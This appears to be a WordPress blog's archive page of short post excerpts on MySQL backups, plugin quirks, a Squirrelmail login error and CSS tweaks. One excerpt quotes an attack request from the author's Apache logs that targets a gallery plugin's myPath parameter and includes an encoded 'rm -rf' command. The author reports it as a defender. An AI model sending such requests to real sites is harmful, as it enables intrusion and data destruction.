Wordpress

MySQL Backup to Email or Disk Script

If you run mysqldump --all-databases you get one monolithic file which can be a pain when trying to restore one database. So it's nice to call mysqldump dbname so you get individual database backup files. To call mysqldump for each database requires that you either...

WP-Highslide Plugin XHTML gotcha

I have the WP-Highslide plugin installed. When I attempt to validate my highslide enabled pages over at http://validator.w3.org/ I get: Line 231, Column 62: document type does not allow element "div" here; missing one of "button", "map", "object", "ins", "del",...

WP-Syntax Plugin

I have been attempting to use the <pre> tag to simply copy and paste information into Wordpress but the result has been that it doesn't accept all the whitespace as being whitespace. Anyway I installed WP-Syntax plugin and attempted to insert some code and it...

IE7 Embedded Squirrelmail Login JavaScript Error

I have embedded my Squirrelmail login into the front of my wordpress blog by putting into the header.php the following function The default squirrelmail code uses the format document.forms[0]. this causes the code to see the first form on the page which may not be...

WordPress Exploit Appearing in Apache Logs

This appeared in my Apache logs this morning: //wp-content/plugins/mygallery/myfunctions ... rm%20-rf%20kk*?: 1 Time(s) Looking back through the logs the full request was: //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=...

Enlarge font for the <code> </code> tags

The font size for the <code> </code> tags was tiny using sumanasa.com's template so I did the following to improve the display. This was for firefox I don't know if it was bad in ie. Open style.css and add code { font-size: 9pt; }

WordPress

This is what I like from an application untar and create a mysql db and then edit one file and you're away